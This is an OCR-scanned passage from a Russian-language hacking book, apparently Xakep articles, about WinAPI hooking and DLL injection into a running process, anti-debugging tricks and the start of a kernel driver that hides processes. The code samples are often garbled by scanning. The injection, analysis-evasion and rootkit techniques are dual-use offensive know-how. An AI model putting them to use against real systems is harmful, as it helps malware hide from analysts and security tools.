Теперь переходим к реали зац ии самой динамической библиотеки. Наша библиоте­

ка (назовем ее HookA.dll) пере хват ывает вы зо в Sleep0 и заме няет его вызовом 

CreateFile, который соз д ает в корне д иска С: пустой файл по имени virus.exe. Сна­

чала ко д с использованием библиотеки Detours: 

#include "stdafx . h" 

#include <windows . h> 

#include <iostream> 

#include "detours . h " 

VOID(WINAPI * TrueSleep) (DWORD d\-1Milliseconds) = Sleep; 

_declspec(dllexport) VOID WINAPI MySleep(DWORD dwMilliseconds) 

НANDLE hFile = CreateFile(L"c : \\virus . exe" , GENERIC_WRITE , О , NULL, 
CREATE_ALWAYS , FILE _ ATTRIBUTE_NORМAL , NULL) ; 

CloseHandle (hFile) ; 

} 

В001 WINAPI DllMain(HINSTANCE hinst , DWORD dwReason , LPVOID reserved) 

if (dwReason == DLL_PROCESS_ATTACH) 

DetourRestoreAfterWith() ; 

DetourTransactionBegin() ; 

DetourUpdateThread(GetCurrentThread()) ; 

DetourAttach(&(PVOID&)TrueSleep , MySleep) ; 

DetourTransactionCormnit() ; 

return TRUE ; 

При исполь зо вании Detours перехват реали зуется строкой DetourAttach(& 
(PVOШ&)TrueSleep, MySleep), которая вы з ывае т внутреннюю функцию 

DetourAttach с параметрами прототипа настоящей функции Sleep0 по имени 

TrueSleep, и ее подцелкой , котор у ю написали мы (MySleep). Важно понимать , что 

наша ф у нкция д олжна соо т вет ствовать оригиналу по параметрам и конвенциям вы­

зова. 

Теперь все то же самое , только с исполь з ованием библиоте ки madCodeHook: 

#include "stdafx . h" 

#include <windows .h> 



#include <iostream> 

#include "madCHook.h" 
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VOID(WINAPI * TrueSleep) (DWORD dwMilliseconds) = Sleep; 

_declspec (dllexport ) VOID WINAPI MySleep(DWORD dwMilliseconds) 

НANDLE hFile = CreateFile (L"c : \\virus . exe ", GENERIC_WRITE , О , NULL , 
CREATE_ALWAYS , FILE_ATTRIBUTE_NORМAL , NULL) ; 

CloseHandle(hFile) ; 

8001 WINAPI DllMain(HINSTANCE hinst , DWORD dwReason , LPVOID reserved) 

if (dwReason == DLL_PROCESS_ATTACH) 

HookAPI ("User32.dll ", "Sleep", MySleep , (PVOID* ) &TrueSleep) ; 

return TRUE ; 

Код реализации практически не изменился , з а исключением строки 

HookAPl("User32.dll", "Sleep", MySleep, (РVОШ*) &TrueSleep); и подключения 

заголовочного файла madCHook.h . В этой строчке кода мы видим, что функция 

Sleep из системной библиотеки User32.dll будет заменена нашей реализацией. 

Перед тем как что-то перехватывать , нужно понимать , чего мы хотим этим добиться . 

Мы хотим менять пути сохранения рабочих данных программы? Путать функции? Са­

ботировать вычисления? В любом случае для исследования приложения нам понадо­

бится API Monitor, программа , которая показывает , какие функции WinAPI использует 
приложение . 

Итак, подопытное приложение готово , наша « вирусная » библиотека тоже, теперь 

осталось разобраться , как можно заставить DLL прицепиться к нашему приложе­

нию. Для этого есть несколько способов, мы рассмотрим два из них. 

Первый способ заключается в использовании приложения withdll.exe, которое идет 

вместе с библиотекой Detours. Если положить это приложение в одну папку с на­

шими файлами testl.exe и HookA.dll, присоединить библиотеку-перехватчик мож­

но командой withdll.exe -d: HookA .dll testl.exe. Далее приложение withdll.exe 

запустит наш файл testl.exe с уже присоединенной библиотекой . 

Это неудобно и не всег да подходит нам. Что , если нужно инжектировать библиоте­

ку-перехватчик в уже работающий процесс? Второй способ заключается в написа­

нии приложения-инжектора , которое присоединит нашу библиотеку-перехватчик 

к работающему процессу . 
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Инжектор 

Для правильной работы инжектора нам нужно получить привилегию SE_DEBUG_ 

NAME. Напишем универсальную функцию , которая получит нужную нам приви­

легию. Ее -т о мы и переда д им в качестве аргумента: 

BOOL setPrivileges(LPCTSTR szPrivName) 

{ 

TOКEN_PRIVILEGES tp 

НANDLE hToken = О ; 

tp.PrivilegeCount = 1 ; 

{ о } ; 

tp . Privileges[0] .Attributes = SE_PRIVILEGE _ENAВLED; 

if (!OpenProcessToken(GetCurrentProcess() , TOКEN _ ADJUST_PRIVILEGES , &hToken)) 

std : : cout << "OpenProcessToken failed\n"; 

if ( 1LookupPrivilegeValue(NULL, szPrivName , &tp . Privileges[0].Luid)) 

std : : cout << "LookupPrivilegeValue failed\n "; 

if ( !AdjustTokenPrivileges(hToken, FALSE , &tp , sizeof(tp) , NULL, NULL )) 

std : : cout << "AdjustTokenPrivileges failed\n"; 

CloseHandle(hToken) ; 

return TRUE; 

return FALSE ; 

Вызов функции для по лу чения SE_DEBUG_NAМE будет таким: 

setPrivileges (SE _DEBUG_NAМE ) ; 

Теперь дл я работы инжектора нужно написать функцию , которая будет получать 

РШ процесса дл я инжекта по его имени : 

DWORD getPIDproc (wchar_t * procname ) 

{ 

DWORD pid; 

НANDLE pHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , О) ; 

PROCESSENTRY32 ProcEntry ; 

ProcessEntry.dwSize = sizeof(ProcEntry) ; 

do 

if (!_wcsicmp(ProcEntry .szExeFile , procname)) 

DWORD pid = ProcEntry .th32Process ID; 

CloseHandle(pHandle) ; 
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return pid ; 

while (Process32Next(pHandle , &ProcEntry)) ; 

CloseHandle(pHandle) ; 

return О ; 

Все готово для написания основного кода инжектора. Приступим! 

BOOL inject () 

НANDLE victProc = OpenProcess(PROCESS_CREATE_THREAD 

1 PROCESS _ QUERY_INFORМATION 

1 PROCESS VМ OPERATION 

PROCESS VМ WRITE 

PROCESS_VМ_READ , 

false , 

getPIDproc(proc) ) ; 

if (victProc) { 

LPVOID pPathВuffer = (PWSTR)VirtualAl locEx (victProc , NULL, dwSize , 
МEM_RESERVE I МЕМ_СОММIТ, PAGE_READWRITE) ; 

if (pPathВuf fer == NULL ) std : : cout « "VirtualAllocEx err\n"; 

WriteProcessMemory(victProc , pPathBuffer , (PVOID)path , dwSize , NULL) ; 

if (pPathBuffer == NULL) std :: cout << "WriteProcessMemory err\n"; 

НANDLE hRemoteThread = CreateRemoteThread (victProc , NULL , О , 

(P TНREAD START_ROUTINE)GetProcAddress(GetModuleHandle( "kernel32.dll " ) , 
"LoadLibraryW" ) , 

pPa thВuffer , О , NULL) ; 

if (hRemoteThread == NULL ) std : :cout << "CreateRemoteThread err\n"; 

else { 

CloseHandle(hRemoteThread) ; 

return TRUE ; 

return FALSE ; 

И вызывающий все эти функции код: 

int main () 

setPrivileges(SE_DEBUG_NAМE ) ; 
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std :: cout << "testl . exe : " << getPIDproc (proc ) << " \n"; 

inject () ; 

После выполнения этой программы в Process Explorer (рис. 8.1) мы сможем уви­

деть, что к процесс у под именем testl.exe присоединилась библиотека HookA.dll, 
а при вводе символа 1 в наше приложение в корне диска С: появляется пустой файл 

virus.exe. 
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Рис . 8.1. Результат работы инжектора 

Ито ги 

Мы познакомились с механизмом п ерехвата WinАРl-функций , попытались вник­

нуть в техническую сторон у процесса перехвата и реализовали учебный перехват 

функции SleepO в тестовом приложении. Теперь у тебя достато чно знаний и опыта, 

чтобы продолжи ть изучение темы пер ехватов самостоятельно. 
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защиты приложений от дебага 

Nik Zerof 

..,..НЕР ...... 

К методам детектирования отладки прибегают многие программисты: одни хотели 

бы уберечь свои продукты от конкурентов , другие противостоят вирусным анали­

тикам или автоматическим системам распознавания малвари . Мы в подробностях 

рассмотрим разные методы борьбы с дебагом - от простых до довольно нетриви­

альных. 

Поскольку сейчас популярна не только архитектура х86 , но и х86-64 , многие ста­

рые средства обнаружения отладчиков устарели. Другие требуют корректировки , 

потом у что жестко завязаны на смещения в архитектуре х86 . В этом разделе я рас­

скажу о нескольких методах детекта отладчика и покажу код , который будет рабо­

тать и на х64 , и на х86. 

lsDebuggerPresent() и структура РЕВ 

Начинать говорить об антиотладке и не упомянуть о функции IsDebuggerPresentQ 

было бы неправильно . Она универсальна , работает на разных архитектурах и очень 

проста в использовании. Чтобы определить отладку , д остаточно одной строки 

кода: if (I sDebuggerPresent ()) . 

Что представляет собой IsDebuggerPresent? Эта функция обращается к структуре 

РЕВ . 

Блок окружения процесса (РЕВ) заполняется загрузчиком операционной системы, на­

ходится в адресном пространстве процесса и может быть модифицирован из режима 

usermode. Он содержит много полей : например , отсюда можно узнать информацию 

о текущем модуле , окружении и загруженных модулях. Получить структуру РЕВ мож­

но , обратившись к ней напрямую по адресу fs :[ ЗOh] для х86 и gs:[60h] для х64 . 

Соответственно , если загрузить в отладчик функцию IsDebuggerPresentO, на х86-

системе мы увидим: 

mov eax , dwo rd ptr f s : [30h ] 

movzx eax , byte ptr [еа х + 2] 

r e t 



А на х64 код будет таким : 

mov rax , qword ptr gs : [60h] 

movzx eax , byte ptr [rax+2] 

ret 
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Что значит byte ptr [rax+2]? По это му смещению находится поле BeingDebugged 

в структуре РЕВ , которое и сигнализирует нам о факте отладки. Как еще можно 

использовать РЕВ для обнаружения отладки? 

NtGlobalFlag 

Во время отладки система выставляет флаги FLG _ НЕАР _ V АLША ТЕ 

PARAМETERS , FLG_НEAP _ENAВLE_TAIL_CHECK , FLG_НEAP _ENABLE_ 

FREE_ СНЕСК , в поле NtGlobalFlag, которое находится в структуре РЕВ. Оrлад­

чик использует эт и флаги для контроля разрушения кучи посредством переполне­

ния. Битовая маска флагов - Ох70 . Смещение NtGlobalFlag в РЕВ для х 86 состав­

ляет Ох68 , для х64 - ОхВС . Чтобы показать пример кода детекта отладчика по 

NtGlobalFlag, воспользуемся функциями intrinsics, а чтобы код был более универ ­

сальным , исполь зуем ди рективы препроцессора : 

#ifdef WIN64 

DWORD pNtGlobalFlag = NULL; 

РРЕВ рРеЬ = ( РРЕВ ) readgsqw o rd (0xб0) ; 

pNtGlobalFlag = * (PDWORD ) ((Р В УТЕ) рРеЬ + ОхВС) ; 

#else 

DWORD pNtGlobalFlag = NULL ; 

РРЕВ рРеЬ = (P PEB ) _rea dfsdword(0xЗ0) ; 

pNtGlobalFlag = * (PDWORD ) ((Р ВУТЕ )рР еЬ + ОхбВ) ; 

#endif 

if ( (pNtGlobalFlag & О х70 ) != 0) std : : cout << "Debugger detected! \ n "; 

Flags и ForceFlags 

РЕВ также содержит у казатель на структуру _НЕАР , в которой есть поля Flags и 

ForceFlags. Когда от лад чик по д сое д инен к приложению , поля Flags и ForceFlags 

содержат при з наки отладки . ForceFlags при отладке не должно быть равно нулю, 

поле Flags не должно быть равно Ох00000002 : 

#ifdef WIN64 

PINT64 pProcHeap = (PINT64) ( readgsqword (0 xб0 ) + ОхЗО) ; \\ Получ аем 

структуру _НЕАР через РЕВ 
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PUINT32 pFlags = (PUINT32) (*pProcHeap + Ох70) ; \\ Получаем Flags внутри 
НЕА Р 

PUINT32 pForceFlags = (PUINT32) (*pProcHeap + Ох7 4 ) ; \\ Получаем ForceFlags 

#else 

РР Е В рРеЬ = (РР Е В) ( readfsdword(0xЗ0) + 0xlB) ; 

PUINT32 pFlags = ( PUINT32) ( *pProcessHeap + Ох4 О) ; 

PUINT32 pForceFlags = (PUINT32) (*pProcessHeap + Ох44) ; 

#endif 

if (*pFlags & ~HEAP_GROWAВLE 11 *pForceFlags != 0) 

std : : cout << "Debugger detected ! \n"; 

CheckRemoteDebuggerPresent() 
и NtQuerylnformationProcess 

внутри _ НЕА Р 

Функция CheckRemoteDebuggerPresent, как и IsDebuggerPresent, кросс­

платформенная и проверяет наличие отла д чика . Ее отличие от IsDebuggerPresent 
в том , что она умеет проверять не только свой процесс , но и другие по их хендлу. 

Прототип функции выгля д ит следующим образом: 

BOOL WINAPI CheckRemoteDebuggerPresent( 

In НANDLE hProcess , 

Inout PBOOL pbDebuggerPresent 

) ; 

где hProcess - хендл процесса , который проверяем на предмет подключения от­

ладчика , pbDebuggerPresent - результат выполнения функции (соответственно, 

TRUE или F ALSE). Но самое важное отличие в работе этой функции заклю чается 

в том , что она не берет информацию и з РЕВ , как IsDebuggerPresent, а использует 

функцию WinAPI NtQuerylnformationProcess. Прототип функции выглядит так: 

NTSTATUS WINAPI NtQueryinformationProcess( 

In НANDLE ProcessHandle , 

In PROCESSINFOCLASS ProcessinformationClass , 

Out PVOID Processinformation , 

In ULONG 

_Out_opt_ PULONG 

) ; 

ProcessinformationLength , 

ReturnLength 

Поле , которое поможет нам понять , как работает CheckRemoteDebuggerPresent, -
это ProcesslnformationClass, который пре дставл яет собой большую структуру 

(enum) PROCESSINFOCLASS с параметрами. Функция CheckRemoteDebugger­
Present передает в это поле з начение 7, которое указывает на ProcessDebugPort. 
Дело в том , что при по дклю чении отладчика к процессу в структуре EPROCESS 
заполняется поле Processlnformation, которое в коде названо DebugPort. 
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Структура EPROCESS, или блок процесса , содержит много информации о процессе , 

указатели на несколько структур данных , в том числе и на РЕВ . Заполняется исполни­

тельной системой ОС , находится в системном адресном пространстве (kernelmode) , 
как и все связанные структуры , кроме РЕВ. Все процессы имеют эту структуру . 

Если поле заполнено, и порт отладки назначен, то принимается решение о том, что 

идет отладка. Код для CheckRemoteDebuggerPresent: 

BOOL IsDbgPresent = FALSE ; 

CheckRernoteDebuggerPresent(GetCurrentProcess() , &IsDbgPresent) ; 

if (IsDbgPresent ) std :: cout << "Debugger detected!\n"; 

Код передачи параметра ProcessDebugPort напрямую в функцию NtQuerylnfor­
mationProcess: 

Status = NtQueryinfoProcess(GetCurrentProcess() , 

7, // ProcessDbgPort 

&DbgPort , 

dProcessinformationLength , 

NULL) ; 

if (Status == ОхОООООООО && DbgPort != О) std: : cout << " Debugger detected!\n"; 

Переменная Status имеет тип NTST А TUS и сигнализирует нам об успехе или не­

успехе выполнения функции; в DbgPort проверяем, назначен порт или поле нуле­

вое . Если функция отработала без ошибок и вернула статус О и DbgPort имеет не­

нулевое значение , то порт назначен и идет отладка. 

Тонкости NTQUERYINFOPROCESS 

Документация MSDN говорит нам , что использовать NtQuerylnfoProcess следует при 

помощи динамической линковки , получая ее адрес из ntdll.dll напрямую, через функ­

ции LoadLibrary и GetProcAddress, и определяя прототип функции вручную при по­

мощи typedef: 

typedef NTSTATUS(WINAPI *pNtQueryinformationProcess) (НANDLE , UINT , PVOID, 
ULONG , PULONG) ; 

NtQueryinfoProcess = (pNtQueryinformationProcess )GetProcAddress (LoadLibrary 
(_T( "ntdll .dll " )) , "NtQueryinformationProcess" ) ; 

Но функция NtQuerylnformationProcess может показать несколько признаков от­

ладки, и ProcessDebugPort - только один из них. 

DebugObject 

При отладке приложения создается DebugObject, объект отладки. Если NtQueryln­
formationProcess в поле ProcesslnformationClass передать значение OxlE, то оно 

укажет на элемент ProcessDebugObjectHandle и при отработке функции нам будет 

возвращен хендл объекта отладки . Код похож на предыдущий с тем отличием , что 

вместо 7 в поле ProcesslnformationClass передается значение OxlE и меняетс я 

усло вие проверки : 

if (Status == ОхОООООООО && hDebObj) std :: cout << "Debugger detected!\n"; 
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где hDebObj - поле Processlnformation с результатом . З де сь все так же: ф у нкция 

отработала правильно и вернула О , hDebObj ненулевой. Значит , объект отладки 

создан. 

ProcessDebugFlags 

Следующий признак отладки , который нам покажет ф у нкция NtQuerylnfoPro­

cess, - это поле ProcessDebugFlags, имеющее номер 0xlF. Передавая значение 

0xlF, мы заставляем функцию NtQuerylnfoProcess показать нам поле NoDebugln­

herit, которое находится в структуре EPROCESS. Если поле равно нулю , это зна­

чит, что в данный момент приложение отлаживается . Код вы зо ва NtQuerylnfoPro­

cess идентичен, меняем только номер ProcesslnformationClass и проверк у: 

if (Status == ОхОООООООО && NoDebuginherit == 0) std : : cout << "Debugger 
detected!\n"; 

Проверка родительского процесса 

Суть этого антиотладочного метода заключается в том , что мы долж ны проверить , 

кем именно было запущено при ложение, которое мы защищаем: по л ьзователем или 

отладчиком. Эrот способ можно реализовать разными путями - проверить , явля­

ется ли раrеnt-процессом explorer.exe либо не выступает ли в этой роли 

ollydbg.exe, x64dbg.exe, x32dbg и т. д. Если попытаться р азвить логику эт ого мето­

да обнаружения отладки, то при ходит в голову еще один простой метод - полу­

чить снапшот всех процессов в системе и сравнить название каждого со списком 

известных отладчиков . 

Проверять родительский процесс мы будем при помощи уже известной нам функ­

ции NtQuerylnformationProcess и структуры PROCESS_BASIC_INFORМATION 

(поле InheritedFromUniqueProcessld), а по лучать список всех запущенных про­

цессов в системе можно при помощи CreateToolhelp32Snapshot/Process32First/ 

Process32Next. Чтобы не писать не относящийся к делу код парсинга всех процес­

сов в системе, напишем только основной код получения 1D родительского процесса 

и основную проверку: 

PROCESS BASIC INFORМAT ION baselnf ; - -

NtQueryinformationProcess(NtCurrentProcess( ) , ProcessBasicinfonnation , 
&baselnf , sizeof(baselnf ) , NULL) ; 

Итак , в baselnf.InheritedFromUniqueProcessld находится 1D процесса , который 

порождает наш. Его можно использовать как угодно: например , получить и з него 

имя файла , название процесса и сравнить с именами отладчиков или проверя т ь , не 

explorer.exe ли это. 
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TLS Callbacks 

Этот нетривиальный метод антиотладки заключается в том , что мы встраиваем ан­

тиотладочные приемы в TLS Callbacks, которые выполняются до входной точки 

программы . Внутри самого приложения могут быть установлены точки останова , 

да и внимание будет сконцентрировано на основном коде приложения , но этот при­

ем завершит отладку , даже толком ее не начав. Кто-то считает этот способ весьма 

могучим , но сейчас при правильной настройке отладчика процесс отладки может 

останавливаться при входе в TLS Ca\lbacks. То есть против матерых реверсеров это 

не спасет , зато отсеет много школьников , которые не будут понимать , что происхо­

дит . Чтобы реали з овать эт от метод обнаружения , необходимо сказать компилятору 

создать секцию TLS таким кодом : 

#pragma coпnnent(linker ," /include : _tls_used " ) 

Секция должна иметь имя CRT$XLY: 

#pragma section( ". CRT$XLY ", long , read) 

Сам код имплементации : 

void WINAPI TlsCallback (PVOID pMod, DWORD Reas , PVOID Con) 

if (IsDebuggerPresent()) std : : cout << " Debugger detected!\n"; 

_declspec(allocate (". CRT$XLB " )) PIМAGE_TLS_CALLBACK CallTSL[] 
{ Call TSL, NULL} ; 

Отладочные регистры 

Если в отладочных регистрах есть какие-то данные , то э то еще один признак. Но 

дело в том , что отладочные регистры - привилегированный рес урс и получить 

к ним доступ напрямую можно только в режиме ядра. Но мы попробуем получить 

контекст потока при помощи функции GetThreadContext и таким образом прочи­

тать данные отладочных регистров . Всего отладочных регистров восемь , DRO­

DR7. Первые четыре регистра DRO-DRЗ содержат информацию о точках останова , 

регистры DR4-DR5 - з аре з ервированные , регистр DR6 заполняется , когда срабо­

тал брейк-пойнт отладчика , и содержит информацию об этом событии. Регистр 

DR7 содержит биты управления отладкой. Итак , нам интересно, какая информация 

содержится в первых четыре х регистрах: 

CONTEXT context = {} ; 

context . ContextFlags = CONTEXT_DEBUG_REGISTERS ; 

GetThreadContext(GetCurrentThread() , context) ; 

if (ctx . Dr0 != О 11 

ctx . Drl != О 11 



ctx . Dr2 != О 11 

ctx . DrЗ != О) 
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std : : cout << "Debugger detected! \n"; 

NtSetlnformationThread 

Еще один нетривиальный метод антиотладки основан на передаче флага 

HideFromDebugger (находится в струкrуре _ETНREAD за номером 0xll) в функ­

цию NtSetlnformationThread. Вот как выг л ядит прототип функции : 

NTSTATUS ZwSetinformationThread( 

In НANDLE ThreadНandle , 

In TНREADINF OCLASS ThreadinformationClass , 

In PVOID 

In ULONG 

) ; 

Threadinformation , 

ThreadinformationLength 

Этот прием спрячет наш поток о т от л а д чика , перес т ав а я отправлять ему отладоч­

ные события, например такие , как срабатывание точек останова. Особенность этого 

метода в том , что он универсален и работает благодаря штатным возможностям 

ОС. Вот код , который реализует о т соединение главного потока программы от от­

ладчика: 

NTSTATUS stat = NtSetinformationThread(GetCurrentThread() , 0xll , NULL , О) ; 

NtCreateThreadEx 

Подобно пре д ыдущей работае т и функция NtCreateThreadEx. Она появилась 

в Windows начиная с Vista. Ее то же можно испо л ь з овать в качестве готового инст­

румента д ля препя т с т вия от л а д ке. Принцип д ействия с х ож с NtSetlnforma­

tionThread - при пере д аче параметра TНREAD_CREATE_FLAGS НIDE 

FROM_DEBUGGER в поле CreateFlags процесс будет невидим для дебаггера. 

Прототип функции : 

NTSYSCALLAPI 

NTSTATUS 

NTAPI 

NtCreateThreadEx 

_Out PНANDLE ThreadНandle , 

_In_ ACCESS_МASK DesiredAccess , 

_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes , 

_In_ НANDLE ProcessHandle , 

_In_ PVOID StartRoutine , 

_In_opt_ PVOID Argument , 

_In_ ULONG CreateFlags , 

_In_opt_ ULONG_PTR ZeroBits , 

_In_opt _ SIZE Т StackSize , 
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_In_opt_ SIZE_T MaximurnStackSize , 

_ In_opt_ PVOID AttributeList 

) ; 

Ко д отключения отладчика: 

НANDLE hThr = О; 

NTSTATUS status = NtCreateThreadEx(&hThr , 

THREAD_ALL_ACCESS , О , NtCurrentProcess , 

(LPTHREAD_START_ROUTINE)next , 0, 

THREAD_CREATE_FLAGS_HI DE_FROM_DEBUGGER, О , О , О , О) ; 

После эт ого начинает работать ф ун кция next0 из WinAPI, которая находится в от­

дельном невидимом для отла д чика треде. 

SeDebugPrivilege 

Один из признаков отладки приложения - получение приложением привилегии 

SeDebugPrivilege. Чтобы понять , есть ли такая привилегия у нашего процесса , 

можно , например , попытаться открыть какой-нибудь системный процесс. По тра­

диции пробуем открыть csrss.exe. Для этого используем функцию WinAPI 

OpenProcess с параметром PROCESS_ALL_ACCESS. Вот как реализуется этот 

метод ( в переменной ld_From_csrss нахо д ится ID csrss.exe): 

НAN D LE hDebug = OpenPr ocess (PROCESS_ALL_ACCESS , FALSE , Id_From_csrss ) ; 

if hDebug != NULL) std: : cout << "Debugger detected ! \ n"; 

SetHandlelnformation 

Функция SetHandlelnformation применяется для у становки свойств дескриптора 

объектов , на который указывает hObject. Прототип функции выглядит следующим 

образом: 

BOOL SetHandleinformation( 

НANDLE hObj ect , 

DWORD dwMask , 

DWORD dwFlags 

) ; 

Типы объектов различны - например , это может быть задание , отображение файла 

и л и мьютекс. Мы можем этим воспо льз оваться : созда д им мьютекс с флагом 

НANDLE_FLAG_PROTECT_FROM_CLOSE и попроб у ем его закрыть , попутно 

пытаясь поймать исключение . Есл и исключение будет поймано , то процесс отл а­

живается: 

НANDLE hМyMutex = CreateMutex (NULL, FALSE , _ Т ( "MyMutex " ) ) ; 

SetHandleinformati o n(hМyMutex , НANDLE_FLAG_ P ROTECT_FROM_CLOSE , 

НANDLE FLAG PROTECT FROM_CLOSE ) ; 



_try { 

CloseHandle(hМutex) ; 
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_except (НANDL E_FLA G_PROTECT_FROM_CLOSE ) 

std: :cout << "Debugger detected ! \n"; 

Заключение 

Мы рассмотрели несколько способов защиты приложения от отладки. Я старался 

показать разные методы отладки и рассказать , как они раб отают на низком у ровне . 

Чтобы лучше разбираться в том , что происходит , ты должен понимать , как работает 

ОС , как приложение взаимодействует с разными структурами окружения потока 

и процесса. Надеюсь , моя статья поможет тебе в э том и научит более э ффективно 

защищать приложения от любопытных реверсеров и автоматических систем распа­

ковки и анализа . 
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1 О. Как сделать свой драйвер режима 

ядра Windows и скрывать процессы 

Nik Zerof 

Все мало-мальски серьезные защитн ы е приложения , будь то файрволы или антиви­

р ус ы , исполь зуют собственные мо дул и режима ядра (ring О), чере з которые работа­

ет большинство их функций: защита процессов от завершени я , фильтры различных 

событий , по лучение актуальной информации о состоянии сетевого трафика и коли­

честве проце ссов в системе. Если у программы есть та кой драйве р , то пробовать 

скрываться от не е из режима поль зо вателя (ring 3) бессмысленно. Та к же бесполез ­

но пы таться на нее как -то воздействовать. Решение - написать собственный д рай­

вер. В этом ра зделе я покажу , как это делается. 

Проце ссорные архитектуры х86 и х64 имеют четыре кольца з ащиты, из которых 

в Windows no факту используются всего два - это ring 3 (режим пользователя) и ring О 
( режим ядра). Бытуе т мнение , что код режима ядра - самый привилегированный и 

«ниже» ничего н е т. На самом деле архитектура х86/х64 позволяет опускаться еще ни­

же : это технол огия виртуализации (hypervisor mode), которая считается кольцом -1 
(ring -1), и ре жи м системного управления (System Management Mode, SMM), считаю ­

щийся коль цо м -2 (ring -2) , которому доступна память режима ядра и ги первизора. 

Итак , мы решили писать собственный драйвер. Начнем с выбора инструментария. 

Я советую испо льзовать Micгosoft Visual Studio, как н аиболее use1·-frie11dly JDE. 

Также необхо димо будет установить Windows SDK и Windows Driver Kit (WDK) 

для твоей версии ОС. Кроме того, я крайне рекомендую запастись таким и утил ита­

ми, как DebugView (просмотр отладочного вывода , https://docs.microsoft.com/en­

us/sysinternals/downloads/debugview), DriverView (позволяет по луч ить список всех 

у стан овленных д райверов , https://W\vw.nirsoft.net/utils/driverview.html) и 

KmdManager (удобный загрузчик драйве ров , http: //www.website.masmforum.com/ 

tutorials/kmdtute/index.html). 

Драйверы в .Windows начиная с Vista могут быть как режима пользователя (User­

Mode Driver Fгamework , UMDF), так и режима ядра (Kernel-Mode Driver Framework, 

KMDF). Более ранние драйверы Windows Driver Mode\ (WDM) появились в Wi11-

dows 98 и сейчас считаются уста ревшими . 

Драйверы UMDF имеют намного более ограниченные права, чем КМDF , однако 

они использ уются, например , для управления устройст вами , подключенными по 

USB. Помимо ограничений , у них есть очевидные плюсы: их намного проще отла -
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живать , а ошибка в их написании не вызовет глобальный системный сбой и синий 

эк ран смерти. Такие д райверы имеют расширение .dll . 

Что до драйверов режима ядра (KMDF), то им дозволено куда больше , а расшире­

ние файлов , зак репленное за ними , - это .sys. В эт ом разделе мы научимся писать 

простые драйве р ы режима ядра , напишем д райвер для скрытия процессов методом 

ОКОМ (Direct Kemel Object Manipulation) и его загрузчик. 

В современных версиях Windows установка неподписанных драйверов вызывает 

сложности : в 64-разрядных ОС начиная с Windows 7 наличие цифровой подписи драй­

вера - обязательное условие . В экспериментальных целях можно подписать создан­

ный драйвер «тес товой» подписью в Microsoft Visual Studio. Затем нужно перевести 

систему в режим тестир ова ния (Test mode), чтобы тестовая подпись была принята при 

установ ке драйвера . Более подробную информацию можно почитать на сайте MSDN 
по ссылке : https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ 

debug-universal-drivers--kernel-mode-. В « боевых » условиях обычно используют дру­

гие методы получения валидной цифровой подписи , описания которых выходят за 

рам ки этой публикации - нужную информацию можно найти , например, на страницах 

журнала «Хакер». 

Создание драйвера KMDF 

После того как ты создашь проект драйвера, Visual Studio автоматически настроит 

некот орые параметры . Проект будет компилироваться в бинарный файл в соответ­

ствии с тем, какая выбрана подсистема. Наш вариант - это NA TIVE, подсистема 

низкого уровня , как раз для того, чтобы писать драйверы. 

Точка входа в драйвер 

Строго говоря , точка входа в драйве р может быть любо й - мы можем сами ее оп­

ределить , добавив к параметрам компоновки проекта -entry:[DriverEntry] , где 

[DriverEntry] - название функции , которую мы хотим сделать старто вой . Если 

в обычных приложениях основная функция обычно называется main, то в д райве­

ра х точку входа принято называть DriverEntry. Выгля деть это будет так: 

NTSTATUS DriverEntry (PDRIVER_OBJECT pDriverObject , PUNICODE_STRING 
pRegistryPath) ; 

Давай пройдемся по параметрам, которые передаются DriverEntry. pDriverObject 

имеет тип PDRIVER_ OBJECT, это значит , что это указатель на структуру 

DRIVER_OBJECT, котора я содержит информацию о нашем д райв е ре. Мы можем 

менять некоторые поля этой структуры, тем самым меняя свойства д райвера. Вто­

рой параметр имеет тип PUNICODE_STRING, который означает указатель на 

строку типа UNICODE. Она, в свою очередь , указывает, где в системном реестре 

хранится информация о нашем др айвере. 

Любая ошиб к а в драйвере може т вызвать общесистемный сбой и BSOD. Вероятна по­

теря данных и повреждение системы . Все эксперименты я рекомендую проводить 

в виртуальной машине . 
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lnterrupt Request Level (IRQL) 

IRQL - это своеобразный «приоритет» для драйверов. Чем выше IRQL, тем мень­

шее число других драйверов будут прерывать выполнение нашего кода. Существу­

ет несколько уровней JRQL: Passive, АРС, Dispatch и DIRQL. Если открыть доку­

ментацию MSDN по функциям WinAPI, то можно увидеть примечания, регламен­

тирующие уровень IRQL, который требуется для обращения к каждой функции. 

Чем выше этот уровень, тем меньше WinAPI нам доступно для использования. 

Первые три уровня IRQL используются для синхронизации программных частей 

ОС, уровень DIRQL считается аппаратным и самым высоким по сравнению с про­

граммными уровнями. 

Пакеты запроса ввода-вывода 

(lnput/Output Request Packet) 

IRP- это запросы, которые поступают к драйверу. Именно при помощи IRP один 
драйвер может « попросить » сделать что-то другой драйвер, либо получить запрос 

от программы , которая им управляет. IRP используются диспетчером ввода-вывода 

ОС. Чтобы научить программу воспринимать наши IRP, мы должны зарегистриро­

вать функцию обратного вызова и настроить на нее массив указателей на функции . 

Код весьма прост : 

for(x = О ; х < IRP_MJ_МAXIМUМ_FUNCT I ON ; ++х) 

pDriverObject- >MajorFunction[x] = MyCallbackFunc ; 

А вот код функции-заглушки, которая всегда возвращает статусный код 

STATUS_SUCCESS. В этой функции мы обрабатываем запрос IRP: 

NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject , PIRP pirp) 

{ 

pirp- >IoStatus.Status = STATUS SUCCESS ; 

IoComplet eRequest(pirp, IO_NO _I NCREМENT); 

return pirp->IoStatus . Status ; 

Теперь любой запрос к нашему драйверу вызовет функцию-заглушку, которая все­

гда возвращает STATUS_SUCCESS. Но что, если нам нужно попросить драйвер 

сделать что-то конкретное, например, вызвать определенную функцию? Для этого 

регистрируем управляющую процедуру: 

#define IRP МУ FUNC Ох801 

Здесь мы объявили процедуру с именем IRP _МY_FUNC и ее кодом - Ох801 . Что­

бы драйвер ее обработал , мы должны настроить на нее ссылку, создав таким обра­

зом дополнительную точку входа в драйвер: 

// Заполним в се ко ды IRP сс ып кой на ф у нкцию- заглушку 

for (x = О ; х < IRP_MJ_МAXIМUМ_FUNCTION ; ++х) 

pDriverObject->MajorFunction[x] = MyCallbackFunc ; 
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// Настр оим вызов функции MyCallbackControl на запрос IRP MJ DEVICE CONTROL 

pDriverObject - >MajorFuпctio n[IRP_MJ_DEVICE_CONTROL] = MyCallbackControl ; 

После этого нам нужно получить указатель на стек IRP, который мы будем обраба­

